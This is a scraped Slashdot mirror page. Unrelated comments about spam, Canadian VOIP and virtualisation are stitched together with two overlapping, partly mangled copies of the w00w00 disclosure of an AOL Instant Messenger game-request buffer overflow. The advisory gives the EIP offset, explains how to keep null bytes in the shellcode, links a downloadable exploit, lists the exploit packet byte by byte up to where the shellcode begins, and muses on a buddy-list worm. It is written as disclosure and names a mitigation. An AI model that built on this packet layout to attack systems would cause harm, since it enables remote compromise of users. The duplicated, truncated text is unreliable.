I had a domain that didn't have mail service for about 2 years. (it was for an old company that no longer exists) In that time, any and all messages would have bounced.
I re-enabled email on it out of curiosity. Tons of spam started arriving almost instantly.
Spambots don't check for bounces. The majority of them don't have valid reply addresses for the bounce to reach anyway.
Perhaps slightly off-topic here, but are there any VOIP providers doing business in Canada currently? Of the companies I've seen mentioned here on/., only one offers Canadian phone numbers, but still requires a US mailing address.
Also, a company up here wouldn't have to deal with Patriot act laws. But that's a separate rant.
Author: Matt Conover (shok@dataforce.net)
Contributors: nocarrier, napster, and w00w00 collectively
PRELUDE
Happy w00year! It has been a while, friends, but w00w00 is still going
strong! w00w00 is over three years old now and still boasts the title
of the world's largest non-profit security team. One thing remains
true about the world of w00w00, though: we love to shake things up.
We'd like to take a moment and make an important point. Due to
unfortunate circumstances, the environment of the security industry
has changed for the worse. Most major vendors and security companies
have all switched their policies to limited disclosure, leaving the
end users still vulnerable to serious software flaws. Big corporate
monopolists: 1, end-users cornered into using second-rate software: 0.
Why? Two big reasons: the DMCA and using patriotism as an excuse to
avoid disclosing vulnerabilities.
First, the Digital Millenium Copyright Act affects circumvention of
anti-piracy mechanisms and reverse engineering. If a product is
released in binary form only (i.e., AOL Instant Messenger) to
protect its technologies and one attempts to reverse engineer the
file, it's a violation of the DMCA. Find out more information about
the DMCA at http://www.anti-dcma.org.
Second, Microsoft has "decried" information anarchy. Many major
security companies have followed suit and the rest just bent to the
pressure. However, blaming security research teams, such as w00w00,
for releasing information on vulnerabilities is a cop-out. Whether or
not security research teams release information on vulnerabilities, it
doesn't change the fact that the vendor produced insecure software.
Vulnerabilities are still exploited in the same way they were by the
Internet Worm 13 years ago. Further, one can reasonably assume that a
fair number of hackers are exploiting unpublished vulnerabilities.
By only silently updating products, computer users are unknowingly left
vulnerable.
DESCRIPTION
AOL Instant Messenger (AIM) has a major security vulnerability in the
latest stable (4.7.2480) and beta (4.8.2616) Windows versions. This
vulnerability will allow remote penetration of the victim's system
without any indication as to who performed the attack. There is no
opportunity to refuse the request. This does not affect the
non-Windows versions, because the non-Windows versions currently do
not yet support the feature that this vulnerability occurs in.
This particular vulnerability results from an overflow in the code
that parses a game request. The actual overflow appears to be in the
parsing of TLV type 0x2711. This may be more generic and exploitable
through other means, but AOL has not released enough information about
their protocol for us to be able to determine that. Robbie Saunder's
email yesterday should be enough of a hint which direction to look in.
We recommend Robbie Saunder's AIM Filter (http://www.ssnbc.com/wiz)
to protect yourselves. A temporary solution is to go into your
Preferences and in the Privacy section click "Allow Only Users on My
Buddy List" under "Who can contact me."
UPDATE: AOL will be fixing this in the server side within a day or two.
IMPLICATIONS
AOL Instant Messenger (http://www.aim.com) has over 100 million users.
The implications of this vulnerability are huge and leave the door wide
open for a worm not unlike those that Microsoft (*cough* corporate
monopoly *cough*) Outlook, IIS, et al. have all had (Melissa, ILOVEYOU,
CodeRed, nimda, etc.). An exploit could easily be amended to download
itself off the web, determine the buddies of the victim, and then
attack them also. Given the general nature of social networks and how
they are structured, we predict that it wouldn't take long for such an
attack to propagate.
To top everything off, the particular overflow described supra is
relatively simple to exploit. The payload can be several thousand bytes
long, which leaves lots of room for creative shellcode. In addition,
the shellcode can have null bytes in it, as long as the shellcode is
located after the offset to EIP in the shellcode. That is, the offset
to EIP is 1723 bytes into TLV type 0x2711. So if the shellcode is
located after offset 1726, null bytes can be left in.
EXPLOIT
The exploit, w00aimexp, is too big (1000+ lines) to include here, but
it can be downloaded at http://www.w00w00.org/files/w00aimexp.tgz. The
files can be viewed online at http://www.w00w00.org/files/w00aimexp/.
This is the exploit packet generated by w00aimexp (without
USE_FULL_SIZE defined):
SNAC header (10 bytes)
[\x00\x04] SNAC family (message)
[\x00\x06] SNAC type (outgoing message)
[\x00\x00] SNAC flags (none)
[\x00\x00\x00\x09] SNAC ID
[\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie
[\x00\x02] SNAC channel (data)
[\x0c] victim screen name length
[\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xX X] victim screen name
Now a set of TLV data types. There is a base container, type 0x05,
that contains everything else. Inside of this are several smaller
containers, with each TLV type following immediately after the
previous. If those are misaligned, you'll receive a "busted SNAC
payload" error.
[\x00\x05] TLV type (0x05)
[\x07\x62] TLV length (1890 bytes)
Slashdot Mirror
OS/2 will run under virtual pc and virtual server. Doesn't work under vmware though.
I had a domain that didn't have mail service for about 2 years. (it was for an old company that no longer exists) In that time, any and all messages would have bounced.
I re-enabled email on it out of curiosity. Tons of spam started arriving almost instantly.
Spambots don't check for bounces. The majority of them don't have valid reply addresses for the bounce to reach anyway.
Don't know about price in comparison to GoDaddy, but Joker is provided good service to me, with no ads.
My company gets the premium support advanced warnings.
Honestly, they are vague to the point of useless...other than "don't make any plans on this day" when the notices to everyone are released.
Perhaps slightly off-topic here, but are there any VOIP providers doing business in Canada currently? Of the companies I've seen mentioned here on /., only one offers Canadian phone numbers, but still requires a US mailing address.
Also, a company up here wouldn't have to deal with Patriot act laws. But that's a separate rant.
It's still mostly devoid of content :-)
xolox was/is good for multiple sources, actually. you just have to tweak it a bit to get around that shutdown they did, and no probs. :-)
Woo! A slashdot that has no Jon Katz stories!
:-)
Now to just learn Japanese.
AOL Instant Messenger overflow
X X] victim screen name
4 5\ x53\x54\x00\x00]
r =t rue&url=http://www.w00w00.org"]
2 2\ x44\x45\x53
w00w00! http://www.w00w00.org
Author: Matt Conover (shok@dataforce.net)
Contributors: nocarrier, napster, and w00w00 collectively
PRELUDE
Happy w00year! It has been a while, friends, but w00w00 is still going
strong! w00w00 is over three years old now and still boasts the title
of the world's largest non-profit security team. One thing remains
true about the world of w00w00, though: we love to shake things up.
We'd like to take a moment and make an important point. Due to
unfortunate circumstances, the environment of the security industry
has changed for the worse. Most major vendors and security companies
have all switched their policies to limited disclosure, leaving the
end users still vulnerable to serious software flaws. Big corporate
monopolists: 1, end-users cornered into using second-rate software: 0.
Why? Two big reasons: the DMCA and using patriotism as an excuse to
avoid disclosing vulnerabilities.
First, the Digital Millenium Copyright Act affects circumvention of
anti-piracy mechanisms and reverse engineering. If a product is
released in binary form only (i.e., AOL Instant Messenger) to
protect its technologies and one attempts to reverse engineer the
file, it's a violation of the DMCA. Find out more information about
the DMCA at http://www.anti-dcma.org.
Second, Microsoft has "decried" information anarchy. Many major
security companies have followed suit and the rest just bent to the
pressure. However, blaming security research teams, such as w00w00,
for releasing information on vulnerabilities is a cop-out. Whether or
not security research teams release information on vulnerabilities, it
doesn't change the fact that the vendor produced insecure software.
Vulnerabilities are still exploited in the same way they were by the
Internet Worm 13 years ago. Further, one can reasonably assume that a
fair number of hackers are exploiting unpublished vulnerabilities.
By only silently updating products, computer users are unknowingly left
vulnerable.
DESCRIPTION
AOL Instant Messenger (AIM) has a major security vulnerability in the
latest stable (4.7.2480) and beta (4.8.2616) Windows versions. This
vulnerability will allow remote penetration of the victim's system
without any indication as to who performed the attack. There is no
opportunity to refuse the request. This does not affect the
non-Windows versions, because the non-Windows versions currently do
not yet support the feature that this vulnerability occurs in.
This particular vulnerability results from an overflow in the code
that parses a game request. The actual overflow appears to be in the
parsing of TLV type 0x2711. This may be more generic and exploitable
through other means, but AOL has not released enough information about
their protocol for us to be able to determine that. Robbie Saunder's
email yesterday should be enough of a hint which direction to look in.
We recommend Robbie Saunder's AIM Filter (http://www.ssnbc.com/wiz)
to protect yourselves. A temporary solution is to go into your
Preferences and in the Privacy section click "Allow Only Users on My
Buddy List" under "Who can contact me."
UPDATE: AOL will be fixing this in the server side within a day or two.
IMPLICATIONS
AOL Instant Messenger (http://www.aim.com) has over 100 million users.
The implications of this vulnerability are huge and leave the door wide
open for a worm not unlike those that Microsoft (*cough* corporate
monopoly *cough*) Outlook, IIS, et al. have all had (Melissa, ILOVEYOU,
CodeRed, nimda, etc.). An exploit could easily be amended to download
itself off the web, determine the buddies of the victim, and then
attack them also. Given the general nature of social networks and how
they are structured, we predict that it wouldn't take long for such an
attack to propagate.
To top everything off, the particular overflow described supra is
relatively simple to exploit. The payload can be several thousand bytes
long, which leaves lots of room for creative shellcode. In addition,
the shellcode can have null bytes in it, as long as the shellcode is
located after the offset to EIP in the shellcode. That is, the offset
to EIP is 1723 bytes into TLV type 0x2711. So if the shellcode is
located after offset 1726, null bytes can be left in.
EXPLOIT
The exploit, w00aimexp, is too big (1000+ lines) to include here, but
it can be downloaded at http://www.w00w00.org/files/w00aimexp.tgz. The
files can be viewed online at http://www.w00w00.org/files/w00aimexp/.
This is the exploit packet generated by w00aimexp (without
USE_FULL_SIZE defined):
FLAP header (6 bytes)
[\x2a] '*' (magic number)
[\x02] channel (data)
[\x00\x11] seqnum number
[\x07\x87] packet length (1927 bytes)
SNAC header (10 bytes)
[\x00\x04] SNAC family (message)
[\x00\x06] SNAC type (outgoing message)
[\x00\x00] SNAC flags (none)
[\x00\x00\x00\x09] SNAC ID
[\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie
[\x00\x02] SNAC channel (data)
[\x0c] victim screen name length
[\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\x
Now a set of TLV data types. There is a base container, type 0x05,
that contains everything else. Inside of this are several smaller
containers, with each TLV type following immediately after the
previous. If those are misaligned, you'll receive a "busted SNAC
payload" error.
[\x00\x05] TLV type (0x05)
[\x07\x62] TLV length (1890 bytes)
[\x00\x00] cookie marker
[\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie
Capability used to exploit this libfaim calls it (SAVESTOCKS):
[\x09\x46\x13\x47\x4c\x7f\x11\xd1\x82\x22\x44\x
[\x00\x0a] TLV type (0x0a)
[\x00\x02] TLV length (2 bytes)
[\x00\x01] TLV data
[\x00\x0f] TLV type (0x0f)
[\x00\x00] TLV length (0)
[\x00\x0e] TLV type (0x0e)
[\x00\x02] TLV length (2 bytes)
["en"] TLV data (language)
[\x00\x0d] TLV type (0x0d)
[\x00\x08] TLV length (8 bytes)
["us-ascii"] TLV data (charset)
[\x00\x0c] TLV type (0x0d)
[\x00\x06] TLV length (6 bytes)
["w00w00"] TLV data (game's name?)
[\x00\x03] TLV type (0x03)
[\x00\x04] TLV length (4 bytes)
[\x40\xa3\x1e\x4f]
[\x00\x05] TLV type (0x05)
[\x00\x02] TLV length (2 byte)
[\x14\x46]
[\x00\x07] TLV type (0x07)
[\x00\x4d] TLV length (77 bytes)
["aim:AddGame?name=w00w00&go1st=true&multiplaye
[\x27\x11] TLV type (0x2711)
[\x06\xbf] TLV length (22 + length of our shellcode = 1727 bytes)
[\x00\x00\x02\x00\x05\x07\x4c\x7f\x11\xd1\x82\x
\x54\x00\x00\x00\x0b\x00\x09 + shellcode starts here]